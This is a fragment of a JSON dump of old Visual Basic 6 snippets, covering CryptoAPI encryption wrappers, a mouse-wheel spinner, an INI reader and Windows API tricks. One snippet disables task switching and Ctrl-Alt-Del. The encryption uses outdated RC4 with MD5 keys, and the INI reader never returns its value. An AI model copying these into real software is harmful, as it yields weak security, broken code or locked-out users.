Sub\nPrivate Sub Form_Click()\nm_blnKeepSpinnig = False\nDoEvents\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nm_blnKeepSpinnig = False\nDoEvents\nIf m_blnWheelPresent Then\n If Not m_blnWheelTracking Then Call WatchForWheel(Picture1.hwnd)\nEnd If\nEnd Sub\nPrivate Sub Text1_Click()\n'**********************************************************\n' if blnWheelArround is set to 'True', we can\n' spin value even mouse away from text box\n' but it seems to be difficult to use any other\n' application (in fact we have to 'Ctrl-Alt-Del' VB to stop\n' if we try to activate other apps)\n'\n' - if U know how to make it safe, please let me know -\n'\n'**********************************************************\nIf m_blnWheelPresent Then\n If Not m_blnWheelTracking Then Call WatchForWheel(Text1.hwnd, False)\nEnd If\nEnd Sub\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n'=================================================\n' Kills \"No Default Key\" Error beep when\n' Keying 'Return' to validate new keyboard value\n'=================================================\nIf KeyAscii = vbKeyReturn Then KeyAscii = 0\nEnd Sub\nPrivate Sub Text1_KeyUp(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeyReturn Then\n On Error Resume Next\n m_lSampleValue = CLng(Text1.Text)\n End If\nEnd Sub\nPrivate Sub Text1_LostFocus()\nm_blnKeepSpinnig = False\nDoEvents\nEnd Sub\nPrivate Sub Form_Load()\ninitialize\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\nm_blnKeepSpinnig = False\nm_blnWheelTracking = False\n DoEvents\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nm_blnKeepSpinnig = False\nm_blnWheelTracking = False\n DoEvents\nEnd Sub"},{"WorldId":1,"id":5755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5774,"LineNumber":1,"line":"Sub Enable_TaskView()\n Dim eTask As Integer\n Dim junk As Boolean\n \n eTask = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, junk, 0)\nEnd Sub\nSub Disable_TaskView()\n Dim dTask As Integer\n Dim junk As Boolean\n \n dTask = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, junk, 0)\nEnd Sub"},{"WorldId":1,"id":5783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5795,"LineNumber":1,"line":"Option Explicit\n'This is based on the 2 MSDN articles\n' \"Example C Program: Using CryptAcquireContext\"\n' \"Example C Program: Encrypting a File\"\n'Example usage:\n'\n' Private Const MY_PASSWORD As String = \"isdflkaatdfuhwfnasdf\"\n'\n' Public Sub Main()\n' MsgBox EncryptData(\"hello world\", MY_PASSWORD)\n' MsgBox DecryptData(EncryptData(\"hello world\", MY_PASSWORD), MY_PASSWORD)\n' End Sub\nPrivate Declare Function CryptAcquireContext Lib \"advapi32.dll\" Alias \"CryptAcquireContextA\" _\n (ByRef phProv As Long, _\n ByVal pszContainer As String, _\n ByVal pszProvider As String, _\n ByVal dwProvType As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptGetProvParam Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwParam As Long, _\n ByRef pbData As Any, _\n ByRef pdwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptCreateHash Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hKey As Long, _\n ByVal dwFlags As Long, _\n ByRef phHash As Long) As Long\n \nPrivate Declare Function CryptHashData Lib \"advapi32.dll\" _\n (ByVal hHash As Long, _\n ByVal pbData As String, _\n ByVal dwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptDeriveKey Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hBaseData As Long, _\n ByVal dwFlags As Long, _\n ByRef phKey As Long) As Long\n \nPrivate Declare Function CryptDestroyHash Lib \"advapi32.dll\" _\n (ByVal hHash As Long) As Long\n \nPrivate Declare Function CryptEncrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long, _\n ByVal dwBufLen As Long) As Long\nPrivate Declare Function CryptDestroyKey Lib \"advapi32.dll\" _\n (ByVal hKey As Long) As Long\nPrivate Declare Function CryptReleaseContext Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwFlags As Long) As Long\nPrivate Declare Function CryptDecrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long) As Long\nPrivate Const SERVICE_PROVIDER As String = \"Microsoft Base Cryptographic Provider v1.0\"\nPrivate Const KEY_CONTAINER As String = \"Metallica\"\nPrivate Const PROV_RSA_FULL As Long = 1\nPrivate Const PP_NAME As Long = 4\nPrivate Const PP_CONTAINER As Long = 6\nPrivate Const CRYPT_NEWKEYSET As Long = 8\nPrivate Const ALG_CLASS_DATA_ENCRYPT As Long = 24576\nPrivate Const ALG_CLASS_HASH As Long = 32768\nPrivate Const ALG_TYPE_ANY As Long = 0\nPrivate Const ALG_TYPE_STREAM As Long = 2048\nPrivate Const ALG_SID_RC4 As Long = 1\nPrivate Const ALG_SID_MD5 As Long = 3\nPrivate Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)\nPrivate Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)\nPrivate Const ENCRYPT_ALGORITHM As Long = CALG_RC4\nPrivate Const NUMBER_ENCRYPT_PASSWORD As String = \"┬┤o┬╕s├ºPQ]\"\nPublic Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n Dim sEncrypted As String\n Dim lEncryptionCount As Long\n Dim sTempPassword As String\n \n 'It is possible that the normal encryption will give you a string\n 'containing cr or lf characters which make it difficult to write to files\n 'Do a loop changing the password and keep encrypting until the result is ok\n 'To be able to decrypt we need to also store the number of loops in the result\n \n 'Try first encryption\n lEncryptionCount = 0\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Loop if this contained a bad character\n Do While (InStr(1, sEncrypted, vbCr) > 0) _\n Or (InStr(1, sEncrypted, vbLf) > 0) _\n Or (InStr(1, sEncrypted, Chr$(0)) > 0) _\n Or (InStr(1, sEncrypted, vbTab) > 0)\n \n 'Try the next password\n lEncryptionCount = lEncryptionCount + 1\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Don't go on for ever, 1 billion attempts should be plenty\n If lEncryptionCount = 99999999 Then\n Err.Raise vbObjectError + 999, \"EncryptData\", \"This data cannot be successfully encrypted\"\n EncryptData = \"\"\n Exit Function\n End If\n Loop\n \n 'Build encrypted string, starting with number of encryption iterations\n EncryptData = EncryptNumber(lEncryptionCount) & sEncrypted\nEnd Function\nPublic Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n Dim lEncryptionCount As Long\n Dim sDecrypted As String\n Dim sTempPassword As String\n \n 'When encrypting we may have gone through a number of iterations\n 'How many did we go through?\n lEncryptionCount = DecryptNumber(Mid$(Data, 1, 8))\n \n 'start with the last password and work back\n sTempPassword = Password & lEncryptionCount\n sDecrypted = EncryptDecrypt(Mid$(Data, 9), sTempPassword, False)\n \n DecryptData = sDecrypted\nEnd Function\nPublic Function GetCSPDetails() As String\n Dim hCryptProv As Long\n Dim lLength As Long\n Dim yContainer() As Byte\n \n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n Exit Function\n End If\n \n 'For developer info, show what the CSP & container name is\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_NAME, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = \"Cryptographic Service Provider name: \" & ByteToStr(yContainer, lLength)\n End If\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_CONTAINER, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = GetCSPDetails & vbCrLf & \"Key Container name: \" & ByteToStr(yContainer, lLength)\n End If\n \n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Function\nPrivate Function EncryptDecrypt(ByVal Data As String, ByVal Password As String, ByVal Encrypt As Boolean) As String\n Dim hCryptProv As Long\n Dim lLength As Long\n Dim sTemp As String\n Dim hHash As Long\n Dim hKey As Long\n \n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n Exit Function\n End If\n End If\n \n '--------------------------------------------------------------------\n 'The data will be encrypted with a session key derived from the\n 'password.\n 'The session key will be recreated when the data is decrypted\n 'only if the password used to create the key is available.\n '--------------------------------------------------------------------\n 'Create a hash object.\n If CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0 Then\n HandleError \"Error during CryptCreateHash!\"\n End If\n 'Hash the password.\n If CryptHashData(hHash, Password, Len(Password), 0) = 0 Then\n HandleError \"Error during CryptHashData.\"\n End If\n \n 'Derive a session key from the hash object.\n If CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0 Then\n HandleError \"Error during CryptDeriveKey!\"\n End If\n \n 'Do the work\n sTemp = Data\n lLength = Len(Data)\n If Encrypt Then\n 'Encrypt data.\n If CryptEncrypt(hKey, 0, 1, 0, sTemp, lLength, lLength) = 0 Then\n HandleError \"Error during CryptEncrypt.\"\n End If\n Else\n 'Encrypt data.\n If CryptDecrypt(hKey, 0, 1, 0, sTemp, lLength) = 0 Then\n HandleError \"Error during CryptDecrypt.\"\n End If\n End If\n 'This is what we return.\n EncryptDecrypt = Mid$(sTemp, 1, lLength)\n \n 'Destroy session key.\n If hKey <> 0 Then\n CryptDestroyKey hKey\n End If\n 'Destroy hash object.\n If hHash <> 0 Then\n CryptDestroyHash hHash\n End If\n \n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Function\nPrivate Sub HandleError(ByVal Error As String)\n 'You could write the error to the screen or to a file\n Debug.Print Error\nEnd Sub\nPrivate Function ByteToStr(ByRef ByteArray() As Byte, ByVal lLength As Long) As String\n Dim i As Long\n For i = LBound(ByteArray) To (LBound(ByteArray) + lLength)\n ByteToStr = ByteToStr & Chr$(ByteArray(i))\n Next i\nEnd Function\nPrivate Function EncryptNumber(ByVal lNumber As Long) As String\n Dim i As Long\n Dim sNumber As String\n \n sNumber = Format$(lNumber, \"00000000\")\n \n For i = 1 To 8\n EncryptNumber = EncryptNumber & Chr$(Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)) + Val(Mid$(sNumber, i, 1)))\n Next i\nEnd Function\nPrivate Function DecryptNumber(ByVal sNumber As String) As Long\n Dim i As Long\n \n For i = 1 To 8\n DecryptNumber = (10 * DecryptNumber) + (Asc(Mid$(sNumber, i, 1)) - Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)))\n Next i\nEnd Function\n\n"},{"WorldId":1,"id":5799,"LineNumber":1,"line":"'\n'Use:\n'\n'Sort Array\n'\n'to sort (A-Z / 1-10, Accending)\n'Pretty easy to update it to sort 2 or 3 dimensional arrays\n'Or to sort decending\n'\n'Comments or any info email: col@woor.co.uk\n'\nPublic Sub sort(tmparray)\nDim SortedArray As Boolean\nDim start, Finish As Integer\nSortedArray = True\nstart = LBound(tmparray)\nFinish = UBound(tmparray)\nDo\n SortedArray = True\n For loopcount = start To Finish - 1\n \n If tmparray(loopcount) > tmparray(loopcount + 1) Then\n SortedArray = False\n Call swap(tmparray, loopcount, loopcount + 1)\n End If\n \n Next loopcount\nLoop Until SortedArray = True\n\nEnd Sub\nSub swap(swparray, fpos, spos)\nDim temp As Variant\ntemp = swparray(fpos)\nswparray(fpos) = swparray(spos)\nswparray(spos) = temp\nEnd Sub\n"},{"WorldId":1,"id":5810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5822,"LineNumber":1,"line":"Private Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPrivate Sub PlayWav(Filename As String)\n sndPlaySound (Filename), &H80\nEnd Sub\nPrivate Sub cmdSound_Click()\n PlayWav \"C:\\WINDOWS\\Media\\Chord.wav\"\n 'Chord.wav is a file that comes along with both \n 'Windows 95 and 98 Operating Systems. If your\n 'system is missing this file, specify a different WAV.\nEnd Sub\n'Now, press F5, or the Run button in the Visual Basic\n'Environment, and then click the button. If you enjoy \n'this source code, please let me know by posting feedback.\n'Thanks!"},{"WorldId":1,"id":5824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5825,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'\n' Example usage:\n'\n' Private Const MY_PASSWORD As String = \"isdflkaatdfuhwfnasdf\"\n'\n' Public Sub Main()\n' Dim sEncrypted As String\n' EncryptionCSPConnect\n' sEncrypted = EncryptData(\"hello world\", MY_PASSWORD)\n' MsgBox DecryptData(sEncrypted, MY_PASSWORD)\n' EncryptionCSPDisconnect\n' End Sub\n'\n'\n' Public Interface:\n'\n' Function EncryptionCSPConnect() As Boolean\n' - Connect to CSP, must be called before using encryption\n' Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n' - Encrypt a string\n' Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n' - Decrypt a string\n' Function GetCSPDetails() As String\n' - Returns the CSP details\n' Sub EncryptionCSPDisconnect()\n' - Release handle, must be called when finished using encryption\n'\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\nPrivate Declare Function CryptAcquireContext Lib \"advapi32.dll\" Alias \"CryptAcquireContextA\" _\n (ByRef phProv As Long, _\n ByVal pszContainer As String, _\n ByVal pszProvider As String, _\n ByVal dwProvType As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptGetProvParam Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwParam As Long, _\n ByRef pbData As Any, _\n ByRef pdwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptCreateHash Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hKey As Long, _\n ByVal dwFlags As Long, _\n ByRef phHash As Long) As Long\n \nPrivate Declare Function CryptHashData Lib \"advapi32.dll\" _\n (ByVal hHash As Long, _\n ByVal pbData As String, _\n ByVal dwDataLen As Long, _\n ByVal dwFlags As Long) As Long\n \nPrivate Declare Function CryptDeriveKey Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal Algid As Long, _\n ByVal hBaseData As Long, _\n ByVal dwFlags As Long, _\n ByRef phKey As Long) As Long\n \nPrivate Declare Function CryptDestroyHash Lib \"advapi32.dll\" _\n (ByVal hHash As Long) As Long\n \nPrivate Declare Function CryptEncrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long, _\n ByVal dwBufLen As Long) As Long\nPrivate Declare Function CryptDestroyKey Lib \"advapi32.dll\" _\n (ByVal hKey As Long) As Long\nPrivate Declare Function CryptReleaseContext Lib \"advapi32.dll\" _\n (ByVal hProv As Long, _\n ByVal dwFlags As Long) As Long\nPrivate Declare Function CryptDecrypt Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal hHash As Long, _\n ByVal Final As Long, _\n ByVal dwFlags As Long, _\n ByVal pbData As String, _\n ByRef pdwDataLen As Long) As Long\nPrivate Const SERVICE_PROVIDER As String = \"Microsoft Base Cryptographic Provider v1.0\"\nPrivate Const KEY_CONTAINER As String = \"Metallica\"\nPrivate Const PROV_RSA_FULL As Long = 1\nPrivate Const PP_NAME As Long = 4\nPrivate Const PP_CONTAINER As Long = 6\nPrivate Const CRYPT_NEWKEYSET As Long = 8\nPrivate Const ALG_CLASS_DATA_ENCRYPT As Long = 24576\nPrivate Const ALG_CLASS_HASH As Long = 32768\nPrivate Const ALG_TYPE_ANY As Long = 0\nPrivate Const ALG_TYPE_STREAM As Long = 2048\nPrivate Const ALG_SID_RC4 As Long = 1\nPrivate Const ALG_SID_MD5 As Long = 3\nPrivate Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)\nPrivate Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)\nPrivate Const ENCRYPT_ALGORITHM As Long = CALG_RC4\nPrivate Const NUMBER_ENCRYPT_PASSWORD As String = \"┬┤o┬╕s├ºPQ]\"\nPrivate hCryptProv As Long\nPublic Function EncryptionCSPConnect() As Boolean\n 'Get handle to CSP\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0 Then\n If CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0 Then\n HandleError \"Error during CryptAcquireContext for a new key container.\" & vbCrLf & _\n \"A container with this name probably already exists.\"\n EncryptionCSPConnect = False\n Exit Function\n End If\n End If\n \n EncryptionCSPConnect = True\nEnd Function\nPublic Sub EncryptionCSPDisconnect()\n 'Release provider handle.\n If hCryptProv <> 0 Then\n CryptReleaseContext hCryptProv, 0\n End If\nEnd Sub\nPublic Function EncryptData(ByVal Data As String, ByVal Password As String) As String\n Dim sEncrypted As String\n Dim lEncryptionCount As Long\n Dim sTempPassword As String\n \n 'It is possible that the normal encryption will give you a string\n 'containing cr or lf characters which make it difficult to write to files\n 'Do a loop changing the password and keep encrypting until the result is ok\n 'To be able to decrypt we need to also store the number of loops in the result\n \n 'Try first encryption\n lEncryptionCount = 0\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Loop if this contained a bad character\n Do While (InStr(1, sEncrypted, vbCr) > 0) _\n Or (InStr(1, sEncrypted, vbLf) > 0) _\n Or (InStr(1, sEncrypted, Chr$(0)) > 0) _\n Or (InStr(1, sEncrypted, vbTab) > 0)\n \n 'Try the next password\n lEncryptionCount = lEncryptionCount + 1\n sTempPassword = Password & lEncryptionCount\n sEncrypted = EncryptDecrypt(Data, sTempPassword, True)\n \n 'Don't go on for ever, 1 billion attempts should be plenty\n If lEncryptionCount = 99999999 Then\n Err.Raise vbObjectError + 999, \"EncryptData\", \"This data cannot be successfully encrypted\"\n EncryptData = \"\"\n Exit Function\n End If\n Loop\n \n 'Build encrypted string, starting with number of encryption iterations\n EncryptData = EncryptNumber(lEncryptionCount) & sEncrypted\nEnd Function\nPublic Function DecryptData(ByVal Data As String, ByVal Password As String) As String\n Dim lEncryptionCount As Long\n Dim sDecrypted As String\n Dim sTempPassword As String\n \n 'When encrypting we may have gone through a number of iterations\n 'How many did we go through?\n lEncryptionCount = DecryptNumber(Mid$(Data, 1, 8))\n \n 'start with the last password and work back\n sTempPassword = Password & lEncryptionCount\n sDecrypted = EncryptDecrypt(Mid$(Data, 9), sTempPassword, False)\n \n DecryptData = sDecrypted\nEnd Function\nPublic Function GetCSPDetails() As String\n Dim lLength As Long\n Dim yContainer() As Byte\n \n If hCryptProv = 0 Then\n GetCSPDetails = \"Not connected to CSP\"\n Exit Function\n End If\n \n 'For developer info, show what the CSP & container name is\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_NAME, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = \"Cryptographic Service Provider name: \" & ByteToStr(yContainer, lLength)\n End If\n lLength = 1000\n ReDim yContainer(lLength)\n If CryptGetProvParam(hCryptProv, PP_CONTAINER, yContainer(0), lLength, 0) <> 0 Then\n GetCSPDetails = GetCSPDetails & vbCrLf & \"Key Container name: \" & ByteToStr(yContainer, lLength)\n End If\nEnd Function\nPrivate Function EncryptDecrypt(ByVal Data As String, ByVal Password As String, ByVal Encrypt As Boolean) As String\n Dim lLength As Long\n Dim sTemp As String\n Dim hHash As Long\n Dim hKey As Long\n \n If hCryptProv = 0 Then\n HandleError \"Not connected to CSP\"\n Exit Function\n End If\n \n '--------------------------------------------------------------------\n 'The data will be encrypted with a session key derived from the\n 'password.\n 'The session key will be recreated when the data is decrypted\n 'only if the password used to create the key is available.\n '--------------------------------------------------------------------\n 'Create a hash object.\n If CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0 Then\n HandleError \"Error during CryptCreateHash!\"\n End If\n 'Hash the password.\n If CryptHashData(hHash, Password, Len(Password), 0) = 0 Then\n HandleError \"Error during CryptHashData.\"\n End If\n \n 'Derive a session key from the hash object.\n If CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0 Then\n HandleError \"Error during CryptDeriveKey!\"\n End If\n \n 'Do the work\n sTemp = Data\n lLength = Len(Data)\n If Encrypt Then\n 'Encrypt data.\n If CryptEncrypt(hKey, 0, 1, 0, sTemp, lLength, lLength) = 0 Then\n HandleError \"Error during CryptEncrypt.\"\n End If\n Else\n 'Encrypt data.\n If CryptDecrypt(hKey, 0, 1, 0, sTemp, lLength) = 0 Then\n HandleError \"Error during CryptDecrypt.\"\n End If\n End If\n 'This is what we return.\n EncryptDecrypt = Mid$(sTemp, 1, lLength)\n \n 'Destroy session key.\n If hKey <> 0 Then\n CryptDestroyKey hKey\n End If\n 'Destroy hash object.\n If hHash <> 0 Then\n CryptDestroyHash hHash\n End If\nEnd Function\nPrivate Sub HandleError(ByVal Error As String)\n 'You could write the error to the screen or to a file\n Debug.Print Error\nEnd Sub\nPrivate Function ByteToStr(ByRef ByteArray() As Byte, ByVal lLength As Long) As String\n Dim i As Long\n For i = LBound(ByteArray) To (LBound(ByteArray) + lLength)\n ByteToStr = ByteToStr & Chr$(ByteArray(i))\n Next i\nEnd Function\nPrivate Function EncryptNumber(ByVal lNumber As Long) As String\n Dim i As Long\n Dim sNumber As String\n \n sNumber = Format$(lNumber, \"00000000\")\n \n For i = 1 To 8\n EncryptNumber = EncryptNumber & Chr$(Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)) + Val(Mid$(sNumber, i, 1)))\n Next i\nEnd Function\nPrivate Function DecryptNumber(ByVal sNumber As String) As Long\n Dim i As Long\n \n For i = 1 To 8\n DecryptNumber = (10 * DecryptNumber) + (Asc(Mid$(sNumber, i, 1)) - Asc(Mid$(NUMBER_ENCRYPT_PASSWORD, i, 1)))\n Next i\nEnd Function\n"},{"WorldId":1,"id":5826,"LineNumber":1,"line":"Function ReadINI(keyname As String, filename As String) As String\nOpen filename For Input Access Read As 1\nDo Until EOF(1)\n Line Input #1, stemp\n ipos = InStr(stemp, keyname & \"=\")\n If ipos Then\n strinnick = strinnick + stemp\n ifound = True\n Allofit$ = strinnick\n wow$ = Mid(Allofit$, Len(keyname) + 2)\n GetINI = wow$\n Close 1\n Exit Function\n End If\nLoop\n Close 1\nEnd Function\n'Written by: Dan Einarsson"},{"WorldId":1,"id":5829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5835,"LineNumber":1,"line":"\n'this event fires when the menu is clicked in the IDE\nPrivate Sub MenuHandler_Click(ByVal CommandBarControl As Object, handled As Boolean, CancelDefault As Boolean)\n \n Dim MyPane As CodePane\n Dim lngStartLine As Long\n Dim lngEndLine As Long\n Dim lngStartCol As Long\n Dim lngEndCol As Long\n Dim strLine As String\n Dim tmpLine As String\n Dim i As Integer\n Dim LineLengths() As Integer\n Dim intLongestLine As Integer\n Dim intTotalLines As Integer\n Dim intLinecount As Integer\n Dim intDiff As Integer\n \n If strUser = \"\" Then\n strUser = \"'\"\n strUser = strUser & InputBox(\"Enter User Initials.\", \"Block Initials\")\n strUser = strUser & \" - \" & Format(Now, \"mm/dd/yy hh:mm\")\n End If\n \n Set MyPane = VBInstance.ActiveCodePane\n MyPane.GetSelection lngStartLine, lngStartCol, lngEndLine, lngEndCol\n \n intTotalLines = lngEndLine - lngStartLine\n \n ReDim LineLengths(intTotalLines)\n intLinecount = 0\n \n For i = lngStartLine To lngEndLine - 1\n strLine = MyPane.CodeModule.Lines(i, 1)\n If intLongestLine < Len(strLine) Then\n LineLengths(intLinecount) = Len(strLine)\n intLongestLine = LineLengths(intLinecount)\n End If\n intLinecount = intLinecount + 1\n Next i\n \n \n For i = lngStartLine To lngEndLine - 1\n strLine = MyPane.CodeModule.Lines(i, 1)\n tmpLine = strLine\n If Trim(tmpLine) <> \"\" Then\n intDiff = intLongestLine - Len(strLine)\n MyPane.CodeModule.ReplaceLine i, strLine & Space(intDiff + 5) & strUser\n End If\n Next i\n \n \n \nEnd Sub\n"},{"WorldId":1,"id":5838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5866,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~\n' place a button on the form called \"command1\" and test\n' run this project. Notice how BEFORE you click the button\n' the forms system menu (press [Alt] + [Space]) is the\n' normal on. Now press the button! It has changed! :)\nPrivate Declare Function GetMenu Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetSystemMenu Lib \"user32\" (ByVal hwnd As Long, ByVal bRevert As Long) As Long\nPrivate Declare Function ModifyMenu Lib \"user32\" Alias \"ModifyMenuA\" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpString As Any) As Long\nPrivate Declare Function GetMenuItemID Lib \"user32\" (ByVal hMenu As Long, ByVal nPos As Long) As Long\nPrivate Declare Function SetMenu Lib \"user32\" (ByVal hwnd As Long, ByVal hMenu As Long) As Long\n' ^ APIs required 4 menu change!\nConst MF_STRING = &H0&\n' ^ CONSTANTs required 4 menu change!\nPrivate Sub command1_click()\n Dim hMenu As Long, MenuItem As Long\n \n hMenu = GetSystemMenu(Me.hwnd, 0)\n \n MenuItem = GetMenuItemID(hMenu, 0)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Restore my Bollocks\"\n \n MenuItem = GetMenuItemID(hMenu, 1)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Move u'r fat arse!\"\n \n MenuItem = GetMenuItemID(hMenu, 6)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Bugger off!\"\nEnd Sub"},{"WorldId":1,"id":5871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5873,"LineNumber":1,"line":"Sub Main()\nDim Folder As String\nFolder = GetFolder\nIf Not Folder = \"\" Then\n MsgBox Folder\nElse\n MsgBox \"Couldn't find folder.\"\nEnd If\nEnd Sub\nFunction GetFolder(Optional Title As String, Optional hWnd) As String\nDim bi As BROWSEINFO\nDim pidl As Long\nDim Folder As String\nFolder = String$(255, Chr$(0))\nWith bi\n If IsNumeric(hWnd) Then .hOwner = hWnd\n .ulFlags = BIF_RETURNONLYFSDIRS\n .pidlRoot = 0\n If Not IsMissing(Title) Then\n .lpszTitle = Title\n Else\n .lpszTitle = \"Select a Folder\" & Chr$(0)\n End If\nEnd With\npidl = SHBrowseForFolder(bi)\nIf SHGetPathFromIDList(ByVal pidl, ByVal Folder) Then\n GetFolder = Left(Folder, InStr(Folder, Chr$(0)) - 1)\nElse\n GetFolder = \"\"\nEnd If\nEnd Function"},{"WorldId":1,"id":5874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5880,"LineNumber":1,"line":"Option Explicit\nDim Parsed() As String\nDim DelimitChr As String\nDim DelimitNum As Integer\nPrivate 